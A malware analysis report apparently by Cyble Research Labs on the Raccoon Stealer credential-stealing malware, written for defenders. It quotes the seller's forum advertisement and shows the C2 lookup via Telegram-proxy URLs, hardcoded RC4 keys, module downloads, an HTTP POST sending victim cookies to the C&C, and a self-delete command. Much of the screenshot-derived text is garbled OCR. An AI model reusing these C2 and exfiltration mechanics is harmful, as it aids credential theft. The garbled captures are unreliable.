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A deep-dive analysis of the Raccoon variant of Stealer malware.

Stealer malware is becoming the weapon of choice for Threat Actors (TA) to steal credentials from victims’ devices.
This malware family has the capability to steal the cookies, credentials, credit card (CC) information, crypto wallets, and
other sensitive details stored on the victim’s device. To accomplish this task, the malware uses various techniques to

extract information from the victim’s machine.

Cyble Research Labs has harvested the latest variant of Raccoon Stealer to study the stealer malware family behavior and

the techniques that it uses for infection. The TA behind the Raccoon Stealer has posted the malware’s capabilities on
a cybercrime forum, wherein he has mentioned that the malware can run on both 32- and 64-bit systems without .NET

dependencies, and the logs are collected in RAM instead of the disk, among others.
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Raccoon Stealer. We steal, You deal!

raccoonstealer

RAID array
We present the result of our many months of work, regular updates, fices and improvements! We started in April 2019 on exploit, wwh, xss, etc.
tratio 01.04.2019 Since then, we have received quite a few good reviews and are constantly trying to keep the quality of our service at the level.

Post 60
Reaction 19 Software

* Own code. Our build is not a fork of existing products on the market.

* Styler written in C / C ++,

* Qur build will give you a great touch every time you spill, because the Raccoon is noticed by units of antiviruses in a dynamic test.
* Raccoon collects: passwords, cookies and autofill from all popular browsers (including FireFox x64), CC data, system information
* Almost all existing desktop cryptocurrency wallets, including the Brave browser wallet and the Metamask extension wallet.

* Built-in file downloader.

* Works on both 32 and 64-bit systems without dependencies on .NET.

* Output file - Native x86 executable easy to encrypt.

* Private key, gate address and all other lowercase values are highly encrypted.

* The stealer stores most of the collected data in RAM, not on disk.

* File grabber.

* A dropper for one or several files with the ability to filter by requests contained in passwords and cookies.

* No need to create a new build when changing a gate! The entire transfer takes place unnoticed by the user.

* Configuration change occurs on the fly. Without rebuilding the build

* Each build has a unique signature. The person who merged the build on VT is easily calculated and banned from the service without a refund.

Figure 1 TA Post on Cyber Crime Forum

Racoon Stealer has been observed in the wild since April 2019. Until then, the TA behind the Stealer had been working
on enhancing the techniques used by this malware. At the time of writing this analysis, Virus Total has more than 9K

samples of Racoon Stealer with 5+ positive detection.

The figure below shows the high-level execution flow of the Raccoon stealer malware. Initially, it connects to the TA’s
Telegram channel to get the Command and Control (C&C) IP. Further, the malware downloads the configuration data and

other payloads/modules to extract the credentials from the victim’s device and conduct the data exfiltration.
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Figure 2 High-Level Execution Flow of the malware
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Technical Analysis

Cyble Research Labs analyzed this sample. Upon performing the static analysis, we found that the malware is x86
architecture Portable Executable (PE) binary written in C/C++ and compiled on 2020-06-24 05:58:17.

& CvBLE.
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File name ,—
C:\Users\MalWorkstation\Desktop\Evil.exe . ]

File type Entry point Base address MIME
3 00464200 > | Disasm 00400000 Memory map IT
J ) | 3

Import Resources

Strings

Sections TimeDateStamp SizeOfImage Resources
E— Entropy
0004 2020-06-24 05:58:17 003c3000 Version

Hex

Scan Endianness Mode Architecture Type

Detect It Easy(DiE) 13 32 1386 GUI

compiler Microsoft Visual C/C++(2010)[libcmtd]
linker Microsoft Linker(10.0)[GUI32]

Options
Signatures _‘ Deep scan About
Scan
217 msec Exit

Figure 3 Static Information of Malware

Upon the initial execution of the malware in our research environment, we noticed that the malware was trying to

communicate to a telegatt[.]Jtop domain and did not show any other behavior, as shown in the below figure.

fakedns[INFO]: Response: telegatt.top -> 192.168.199.131

fakedns[INFO]: Response: ecs.office.com -> 192.168.199.131

fakedns[INFO]: Response: clientservices.googleapis.com -> 192.168.199.131
fakedns[INFO]: Response: ecs.office.com -> 192.168.199.131

fakedns[INFO]: Response: self.events.data.microsoft.com -> 192.168.199.131

fakedns[INFO]: Response: update.googleapis.com -> 192.168.199.131
fakedns[INFO]: Response: clientservices.googleapis.com -> 192.168.199.131
fakedns[INFO]: Response: telegatt.top -> 192.168.199.131

fakedns[INFO]: Response: telegatt.top -> 192.168.199.131

HTTP 210|GET /jdiamond13 HTTP/1.1 |

TCP 54 80 - 16993 [ACK] Seq=1 Ack=157 Win=64128 Len=0
TCP 71 80 - 16993 [PSH, ACK] Seq=1 Ack=157 Win=64128 Len=17 [TCP segment of a reassembled PDU]
TCP 4434 80 - 16993 [PSH, ACK] Seq=18 Ack=157 Win=64128 Len=4380 [TCP segment of a reassembled PDU]

Figure 4 Traffic Analysis of Malware

Upon further investigation, we determined that the malware was trying to access the “jdiamond13” channel on

Telegram using the services provided by telegatt[.]top, as shown in the figure below.
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o Telegram
Don't have Telegram yet? Try it now! >

Diamond Shop

4 subscribers

e7dd0fV46cjQG7jcdYm3TS3xk8BCWPOROzIw
==25-v1f

VIEW IN TELEGRAM

Preview channel

Figure 5 TA’s Telegram channel

The figure below showcases the infection flow of Raccoon stealer malware.

Figure 6 Infection flow of malware

The figure below depicts the Process tree created by the malware.
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£ g emd exe (8136) : : Windows Command Processor :\\Sﬂ. .

Mecrosaft Corporat... DESKTOP-RRIA... cmd.exe /C times

[ |
[ Conhost exe (7420) (Console Window Host C:\Windows\Syst Microsoft Comporat... DESKTOP-RRIA.. \¥MC:\Windows
W timeout exe (5176} timeout - pauses command C:\Windows\Sys... Microsoft Comporat... DESKTOP-RRIA... timecut /T 104
5] 2826 odcfdad Hdc I Tebc 22 12520 18e 5076ect 5 1286 14bci leleb C:\Users'\MalWor. | ] DESKTOP-RR1A . "C:\Users\MalW
I WerFauk exe (2332) \Windows Problem Reporting C:\Windows\Sys. Microscht Comorat. . DESKTOP-RRIA . C-\Windows\Sys
M FrocessHacker exe [1276] Process Hacker C:\Program Files'. w32 DESKTOP-RR1A 'C\ngth:v
< > < >
Description:
Company:
Path: C:\Users\MalWorkstation\Desktop\e28a6d3bdcfdad5ffdc 3Tebc22¢1a52018e5076ec55b128614bcfleBebT11171.exe
G Al D Tebe22c1a52018e5076ect50128614
User: DESKTOP-RRIABTT\MalWorkstation
PID: 5520 Started:  20-10-2021 04:35:47

Exited:  20-10-2021 04:35:56

Figure 7 Process Tree created by malware

After data exfiltration is completed, the Stealer removes its foothold by removing malware binaries and data files. The

following command is executed to perform self-delete.

cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q
“C:\Users\MalWorkstation\Desktop\e28a6d3bdcfdad9ff4c37e6c22c1a52018e5076ec65b128614bcf0e8eb711171.exe”

Code Analysis and Debugging

Initially, during the code analysis, Cyble Research Labs found that the malware was packed. The malware decrypts each
segment during execution, performs self-injection, and does dynamic import loading. The figure below shows that the

malware has created a new binary in a newly allocated memory, and file execution will be transferred to the

decrypted binary.
B cru b, ® Breakpoints  #8 Memor, ) calStack ®@seH |/ Seipt @ symbols <> Source S References @ i
L ¥ Map 1¢* Seript
0 B8BFF mov edi,edi
. push ebp = Hide FPU
: ?SEC x; S‘;E’ES" EAX 00000004 A
52 EBX 00000000
 E :225 74136C76 e:gsmara ptr ds:[<&virtualFrees] R QCoon0000 :
. int3 EDX 02480000
. Hu Allocated Memory b -
. int3 b
. int3 \{ ~[5_#] 0] unlocked
> -
edi=114 L'E’
Unpacked Malware v
-Text:7665F4C0 kernel32.d11:51F4CO #104C0 <virtualFree> r >

'024B0446| return to 024B0446 from 777

@oump1  Woump2 @Moump3  gHoumps  WHDumps @ wath iA-]ands [+]» ) EEEEENoz 48084  reTury ~
Address | Hex [ascir__~ o ittt

(025 A0000 |40 5A 90 00|03 00 00 00|04 00 00 OO|FF FF [[F3
|025A0010| 88 00 00 00|00 00 00 00(40 00 00 00|00 00
|025A0020| 00 00 00 00|00 00 00 00|00 00 00 00|00 00
|025A0030| 00 00 00 00|00 00 00 00(00 00 00 00|10 01
(025A0040 | 0E 1F BA OE |00 B4 09 CD |21 B8 01 4C|CD 21
|02SA0050| 69 73 20 70|72 6F 67 72|61 6D 20 63|61 GE
(025A0060| 74 20 62 65|20 72 75 GE|20 69 6E 20|44 4F
|02SA0070| 60 6F 64 65|2E 0D 00 OA|24 00 00 00|00 00
[(025A0080|CC 58 48 5C |88 39 26 OF |88 39 26 OF |88 39
(025A0090|D3 51 25 OE|99 39 26 OF D3 51 23 OE|34 39
(025A00A0 D3 51 21 OE |89 39 26 OF |DA 4C 22 OE|98 39
(025A00BO |DA 4C 25 OE |90 39 26 OF DA 4C 23 OE|CT 39
|025A00C0 | D3 51 22 OE|91 39 26 OF (D3 51 20 OE |89 39
(025A00D0 D3 51 27 OE|93 39 26 OF |88 39 27 OF|7C 39
(02SAD0ED (DO 4C 2F OE |87 39 26 OF |DO 4C 24 OE|89 39
(02SADOFO |52 €9 63 68|88 39 26 OF |00 00 00 00|00 00
|025A0100| 00 00 00 00|00 00 00 00|00 00 00 00|00 00
02540110 50 45 00 00|3C_01 04 00(CE F6 65 61|00 00
02540120 | 00 00 00 o0 |ELO0 02 01|08 01 OF 1D |00 52
02540130 00 42 02 00|00 00 00 00|BE_ES 03 00|00 10
(02540140 00 BO 06 00|00 00 40 00(00 10 00 00|00 02
|02SA0150| 06 00 00 00|00 OO0 00 00|06 00 00 00|00 00
|025A0160| 00 10 09 00|00 04 00 00|00 00 00 00|02 00

o0
00

i .utimh)
rogram cannoj

2
"workstation\\Desktop\\Test.exe"
TestT.0047F506

025A0170| 00 00 10 00|00 10 00 00 00 10 00|00 10
025A0180| 00 00 00 00|10 0O 0O 0O 00 00 00|00 00
T >

Figure 8 Malware unpacking

Further, the malware performs a GET request to telegatt[.]top/jdiamond13 to access the Telegram bot profile page. If

the telegatt service is down, it uses other hardcoded domains to reach the profile, as shown below figure.

s
004800C0 | &"@RK"
0| 00000141
00409270 |"http: //telegatt. top/jdiamondi3,http: //telegka. top/jdiamond13, http: //telegin. top/jdiamondi3, https: //t.me/jdiamond13"

4Rk
0019F860 | 004CFE88 |&"<I_[&]4"

Figure 9 Services to access TA’s Telegram channel
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The malware copies the value “e7dd0fV46¢cjQG7jcdYm3TS3xk8 CWPOR0zIw==25-v1f” from the Telegram bot
description page shown in Figure 5, and then shifts characters to align in proper
encrypted data. i.e., “fV46¢jQG7jcdYm3TS3xk8CWPOR0zIw==".

Then the malware uses RC4 encryption to decrypt the above string using
the hardcoded key “c5d49434634bb8485382d61999573882¢.

A quick RC4 decryption revealed the URL of C&C, which is http[:]//185[.]163[.]45[.]162.

- Q n \ﬂMSCJQG?chYmBTsskaCWPeRezIw== |

e
Encrypted data

Passphrase - tart: 22 time: 1m:

c5d49434634bb8485382d619995..  UTF8 Output Tend: 22 lemgth: 22
length: @ lines: 1

Input format Output format Key ‘http:f}"lBS. 163.45.162/ |

Baseb4 Latin1 = Decrypted data

Figure 10 Decryption of encrypted data received from TA’s Telegram channel

Once the malware has the C&C URL, it generates a unique ID for the victim device and encrypts it using RC4 encryption
using the key “iV8+pT5$yP7{“, then it sends the unique ID to the attacker’s C&C.

POST / HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: text/plain; charset=UTF-8
Content-Length; 148

Host: 185.163.45.162

InAZKrZ75NrYSHFId:1yujLGHDKIRIZCHEY!(BHUIMIVZROODNSch’rDm5ngM200+Fz\"EHAD1'DEDTEiJnoﬂFKTZHCHQZCGXSUdl.lpFaaSIpystnZiQEflchT?geKdZnQWinPlH:*TTP/L0 200 0K

e .
’__: Encrypted Unique Victim ID

EAX 0019F824 | &"NAZKr 27SNr YSHF T4x1yUjL eMbxxR 1z :nsyxauumxvzhwqusfcnrnmsngmmovizvimicm?u1mNFx‘rzncﬂq2chsuaupﬁnsrpyaavnziqin.pvi
EBX 00000000

ECX  OD19FF1C

EDX 00000088 i T g1

e iser2s o Unique Victim ID

ESP 00196268 LoDad" —

ESI 00692FEQ | “p=5D202EGE-B33A- 4])3 -ABFB-2391BC075089_Malworkstationac=723d14b565e58739294731786b0Ces 6rdaeers1054f=json"

EDI 00487648 TEST. eXE,

Figure 11 Victim’s Unique ID sent to C&C

As shown in below figure, Once the C&C receives the above Victim ID as a request, it sends the RC4 encrypted

configuration data to the victim’s machine, which is then decrypted using the same key shown above.

. 56 ésiiamathm
. FF1S 38834600 dc: [<awinkttpclos
. 8840 F4 mov ecx,dword ptr ss:febp
EG———————s 88C7 mov eax,edi ed1 14" hRtkggjjrPTFYAXQPNLY |47 NQDBSLNQUMK2SHG,/ CTTTEUTE/GVEK
. 5F pop edi ed1 : 4" hRK Q] rPEFYAXQPNLY ] 47NGDBSL hOLMK2SHG,/ CT T EUTE/gVEK
. SE pop esi =TT ACIE
. 58 pop ebx ebx:a"Jq|”
. 6418300 00000000 mov oword prr [l [0],ecx 00000000 "L &\ x19™
H = s

es1=00782C88 &"At}"

STEXTI0043279C TEsT.exe.bin:S$3279C #3185

. Encrypted Configuration Data

MZKrzYsMrYEHFIdx:.yU]LGlbxxlll::uSyXBUuwlvzﬁoODstrc‘NrDlSngM2DG+F:VEH-IDIOEWEiJHDNFKTZNCquCGXEuﬂupFnSIWﬁ\mZIQEflchTDgEKd!nQWy/Zi’ltﬂ—HTTP/!. @ 200 0K
Server: SimpleHTTP/@.6 Python/3.8.5
Date: Wed, 28 Oct 2021 98:04:53 GMT ’,.,"

hRkgg] ] rPtFyAxgpnly147nQDBSLhQUMKZSHG/cLLtEUte/

sCTTcB3AmZZAGKZ +ax TRPMTMC+FybWFYEaPxTpBt 2C60s0s 6pwhaloohAt ABaipTFQBELWL leaZ ziFMxkbUTmZhf1GswBK+nufwI22ZEYRmGGEx7vt X0TMiazoRr BBOghs3c TRh1GFKET/
tE1z0FMhutApsm+2g7qkNK4]DLUbMIDAACT p1EMGSA 1 FRTDBIEH3TEYCa84 6721t 10c 3N/ 16vsQ/EE2 1 PoX SQWSN,/ OdGYDATOPEGLE 1 XBhF + )z 8boy 2LOWTD] YEr JTKT3a6/

cgghJKIcZd | BABBNVQTKIB pmuVr 4Dyc HagF 3b2951Q1W2hoe fXAazZvSQ2DBT s TBSWOVDLPST2qa5zzLR2t 2y/ sXCpTs 206368 xKKch )+ xMEGUWVCHE L1ETSTGr eX jewd feHzc31uBY/
HLGxme sFESsDYBpDSHT33doVEc5AtczNACT 3nBTOMzZY1IVT 2 lfy\‘xfaﬂdﬂhifrUﬁEtMDYMﬂf

bsr 2g11U1EeZ )b Ib2B0SErwZ |eMyAGPASYWAAa1CTZRUZEWT 2 ZFoXFGRQMs JgOANOTUKBACAZ SCoBWAQQ/ ay a0 p10PBGQLLG 1/
MLBGEQFGGG.TIIHINQEMMDTIfBLI]qMPLﬂlﬂHrquHmMGCthhQCKnnﬂgyEuLmCm:mv?l&iﬁh’hﬁlﬁﬂf

0 qx1bQ. f yGF317dKgVVReBQSrou517D9RT TTOw1B27If 15YdZAmSTeXNEWv j t GE2raZ0f tHepDS5UL01FChTHaFWSEVDBGZ FUXGCWs 1ohd ] QMe
r.sazjismeunaunc.jexnt F J+D36uDXe ThnaY5QkNyoDZ2E JBxSv1y7By4W35Vs oW 1g2vodHT g3ku1p1BRGSu] sYBWuyRz YBwn T t +EdvouinllaQd i ZF/

¥R D TR PRI Vo MMl ] e AmUR S e aTATAuniimAMRE /0TI NCKT +AT404 7

Figure 12 Encrypted Configuration data received from C&C

The configuration data contains the below details, which Stealer uses to perform further actions.

Configuration Description
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URL Paths URL Paths to download additional modules

Victim Details IP, Location, Longitude, Latitude, etc
Browser Path Various paths from which stealers can extract sensitive details.
Crypto Wallet Crypto Wallet details for extraction

Table 1 Configuration data present in the table.

Upon parsing the configuration file, the malware extracts the URL Paths for the first module and sends a request to

download the module.

{"_id":['WEgSkIwB3IdPL7Spzbltz", "aur:"/1/EJVEgSkIwBIdPL 15pzeltz/ TUL7bdalgocH2UL261560904E449a001530c003T, "1s"™: " /1/£/VEgSk3wB3dP175pz6
705", "ip™:"194.195.91.19", "location™: {"cou l’.ry" "Germany", "country_code"™:"DE", "state":null, "state_code":null,"city":null,"zip”:null,
:{"m":null, "t":null, "lu™:null},"lu":null, ® :1,"stm™:0, "tg”:0,"is_screen_enabled”:0,"is_history_ enabled”: 0,"depth”:3,"s": [{"k":"edqg
Fdﬂa:\\Mirrnsnfr\\tdna\\l'gqr Pata:Toain Dath:Cookies:Wah Pata®}. ["k":"chroma®. "v":"2f:Gooale Chrome:\\Gooale\\Chrome\\Usar Data:TLoai

.

Py Module Path

pzbliz A al

TATNE-TONT rog TG
Connection: Keep-Alive
Pragma: no-cache
Host: 185.163.45.162

HTTP/1.0 208 OK
Server: SimpleHTTP/8.6 Python/3.8.5

Date: Wed, 20 Oct 2021 69:83:56 GHT First Module
Content-type: application/octet-stream

Content-Length: 916735 /'

Last-Modified: Tue, 10 Oct 2021 13:03:32 GMT

Figure 13 Additional Payload Download from C&C

Upon receiving the PE file as a response, the malware uses CreateFile/WriteFile Application Programming Interface
(API) to write the binary onto the “AppData\LocalLow” location as “sqlite3.dll”.

| 76050570 <kernelbase writerile> LAY Tpush 15 writerile ~

€8 EQS2E1TE ush kernelbase.
€s £04B0200 cal Et:r::lbue rens2ace T o= “Jhetps”
8940 EO mov dword ptr ss:febp-20], ecx EBX  0081As+40 MZe
894D E4 mov dword prr ec ECX  4605153A
8875 14 mov_esi,dword p EDX__ 00000000
85F6 test esi,esi <

- 74 02 j& kerneibase,7eD5D98D
890E mov dword ptr ds:[esi],ecx
8870 08 mov edt,oword ptr ss:lenp-s) [ebp+8] : &"ALLUSER SPROF]
83FF F4 cmp_edi :

~ OF84 DO280300 je kerne’ 7ED90276
83FF FS cmp edi,FF

~ OF84 C3280300 je kerne 90265
83F tmp edi,Fr

~ OF84 AS280300 Je k“ﬂ.lm' TEDS0254
8B5D 18 mov_ebx,dword ptr ss:febp-1a]
51 push ecx
8508 TeST ebx.ebx ebx: "MZH#"

-
_v File Saved as

Thread ) 260 1FFFFF TID: 9246 (Main Thread), PID: 7960 (DEDUGQEE) sqlite3.dll
Event 10 264 1F0003 e q .
2 268 FOO3F \REGISTRY\MACHINE\ SYSTEM\CONTrolsetool\services\winsock2\Par ameters\Protoco]_cataidge
Event 10 26C 1F0003 ~
2C 270 FOO3F \REGISTRY\MACHINE\SYSTEM\Controlsetool\ services \winsock2\ Par ameter S\NM!S,D.I(Q._EIEI]DQS
Event 10 274 1F0003 =
File 2§ i\ 16019 Device’\afd i
File 25 280 [12019F \Device\H \ M ocallow\sqlites.dll |
32 s Ciad ERROR_WOT_SUPPORTED
32 288 804 ERROR_NOT_SUPPORTED
32 28C 804 ERROR_NOT_SUPPORTED
32 230 804 ERROR_NOT_SUPPORTED
Event 10 234 1F0003
32 298 804 ERROR_NOT_SUPPORTED
File 25 29C 100080 \Device\Nsi

Figure 14 Saving the PE file as sqlite3.dll

At this stage, the stealer copies various SQLite DB files from application locations like the browser present in the victim
machine and then uses “sqlite3.dll” to parse and extract the sensitive contents from the DB file, as shown in the figure

below.
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4CreateFilew>|Createrilew Y

jmp_dword ptr ds:
int3

Hide FPU

int3

ints EAX L"C:\\Users\\Malworkstation\\AppData\\LocalLow\\RYwTiiz52t"
int3 e
ECX F

int3 . o e

i - i E_ A3 "

s Browser SQLite DB/

int3

int3 4 Defauit (stdcal)

int3 | 1: [esp+4] 021D04BS L"C:\\Users)\Malworkstation\\AppData\'LocalLow\\RYWTi1Z52t"
; 20106C76 jmp dword ptr ds:[<dDefineDosDev|DefineDosDevidew 2: Eess:sj e :

1nt3 3: [esp+C] 00000003

~ 4 B > MaWorkstation Locallow

AppData

Name

& Ma

B ohide

/]
r
N ]

Figure 15 Malware Parsing the Browser SQLite DB file for credentials extraction

Later, the malware sends another request to the C&C URL to download the additional modules. The figure below shows

that the malware downloads the modules compressed as a ZIP file.

n:"/1/£/V2qSk3wB3dP17Spz6ltz/5dfc 79170658086b201£75552aca5a705", "ip
untry™:"Germany", "country code":"DE", tate":null, "state codel':null,

93, "longitude™:9.491},"c":{"m":null,"t":null, "lu":null}, “lu":ﬂllulll, "rm"

Path for 2"d Module

c671
"

GET //1/T/VZgSk3wB3dP175pz61tz/5dfc9c671cd79170658086b201175552aca5a705 HTTP/1.1 |-
Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Host: 185.163.45.162

HTTP/1.0 208 0K

Server: SimpleHTTP/©.6 Python/3.8.5
Date: Wed, 20 Oct 2021 09:32:14 GMT . - .
Content-type: application/octet-stream Zip File contains Modules
Content-Length: 2828315

Last-Modified: Tue, 19 Oct 2021 13:05:02 GMT T
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Figure 16 Additional payloads downloaded from C&C

The below figure shows the additional modules (2nd Modules) required by the Stealer to extract credentials.
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Figure 17 Modules required by malware for extraction of credentials.

Once the credential extraction is done, the Stealer creates a ZIP file and stores the victim’s credentials. Then, it sends

these credentials to the attacker’s C&C, as shown below.

0658086b201£75552a
Llntly":"‘.if.".tur.m‘)f","-_-ulmtl .-dL"‘ "].l!-_" "’,Latﬁ ":null,"state
93,"longitude”:9.491},"c {"m"'nu\'f "t"'null,“lu"‘null},"

Zip File Name
»
POST / HTTP/1.1 \
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data, boundary= \.DZtquEBIJC32V5E"D9yK8UUEyYHJEJ(W
Content-Length: 5268

Host: 185.163.45.162 Zip File which contain the victim credentials
\ v
a4
--vD2tL1qCabC3zVIeDIYXBAUBYYBICICY \
content-disposition: form-data; name="VZgSkawB3dP175pz6ltz";[Tilenane="VZgSKawBIqPITSpzBItz 215" |
Content-Type: application/octet-stream
PK. STS.." +...browsers/ cooue‘ M1rrosoft Edge Defau‘t thUT
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Figure 18 Malware sends the victims details to the attacker C&C
In the below figure, we can see the data uploaded by the malware on our emulated environment.

]—[ remnux@remnux
$ls
Info.txt'
unu»ﬁremnux
$1ls browsers/cookies/
'Google Chrome Default.txt' 'Microsoft Edge Default.
nNUX@remnux

si

Figure 19 Content received from malware

The figure below shows sample data that the Raccoon stealer has uploaded on the C&C.

Raccoon | 1.8.2 [stable)

e = aem w TRUE I - = - -
Buik] compile date: Tue OCt 12 23:57:16 2021 | = TRUE 1668 | r ¥
- . - TRUE 163a ia
Launched at: 2021.10.20 - 09:39:05 GMT . - = TRUE 163= - - - -
— - = L WE - - a i i - i |
i - TRUE o e onw
- - - - L - = - i TRUE - - %
o 1 ’ = - | TRUE .- e = - = mmza =w
Running on a desktop - L UE I TRUE
- TRUE 0 - - e - - nm -
- LY TRUE 1668 & = v ] ]
- - - - — - - - - —
1 Ta FALSE 163 4 - - - - - ey
. - - FALSE  163= = . - - - " =ma |
o) = T R - T
Cookies: 52 wgn - e - mwamw EE
- Passwords: 0 - = y e - L r—
Files: 0 o e
= - - -
System Information - - . w— = .
- System Lanquage: English - - -
) . TRUE 163 - -
System TimeZone: -0 hrs — . TRUE 165 L] - ] |
- erify  TRUE - - - - - — -
- LY WE 0 -

Figure 20 Sample Logs uploaded by Raccoon Stealer
Finally, the malware calls CreateProcess API to execute the command for self-destruct.

cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q
\”C:\\Users\\MalWorkstation\\Desktop\\xxx\\Fileexe.bin\
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Code for self-destruction

Sp— n, BCF eaTErraCessA EEX 00000000
8 prr oo [<ACrEAtEProCesss e s
Eox 130E2 AERix1s”

Figure 21 Malware is calling command for self-delete.

Conclusion

Threat Actors use similar kinds of stealer malware to steal sensitive data from victim devices. Presently, these Stealers
have been misused for malicious purposes across the globe. The malware has explicitly been spread through pirated

software and phishing campaigns.

In the past, we have observed that the TAs behind such stealers have targeted many businesses via their employees for

stealing credentials.

Cyble Research Labs will continuously monitor emerging threats and targeted cyber-attacks.

Our Recommendations

-We have listed some essential cybersecurity best practices that create the first line of control against attackers. We

recommend that our readers follow the suggestions given below:

-Use strong passwords and enforce multi-factor authentication wherever possible.

-Turn on the automatic software update feature on your computer, mobile, and other connected devices.

-Use a reputed anti-virus and internet security software package on your connected devices, including PC, laptop, and

mobile.
-Refrain from opening untrusted links and email attachments without verifying their authenticity.

-Conduct regular backup practices and keep those backups offline or on a separate network.

MITRE ATT&CK® Techniques

Tactic Technique ID Technique Name
Initial Access T1566 Phishing
Execution T1204 User Execution

T1555 Credentials from Password Stores
Credential Access T1539 Steal Web Session Cookie

T1552 Unsecured Credentials
Collection T1113 Screen Capture
Discovery 11087 Account Discovery

T1518 Software Discovery
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T1057 Process Discovery

T1007 System Service Discovery

T1614 System Location Discovery
Command and Control T1095 Non-Application Layer Protocol
Exfiltration T1041 Exfiltration Over C2 Channel

Indicators of Compromise (IoCs):

. Indicator L.
Indicators Description
type
SHA- Raccoon
e28a6d3bdcfdad9ff4c37e6c22c1a52018e5076ec65b128614bcf0e8eb711171
256 Stealer
Telegram
Channel Bot ID for
/jdiamond13
Name getting the
C2 URL
http[:]1//185[.]163[.]45[.]162 C&C C&C URL
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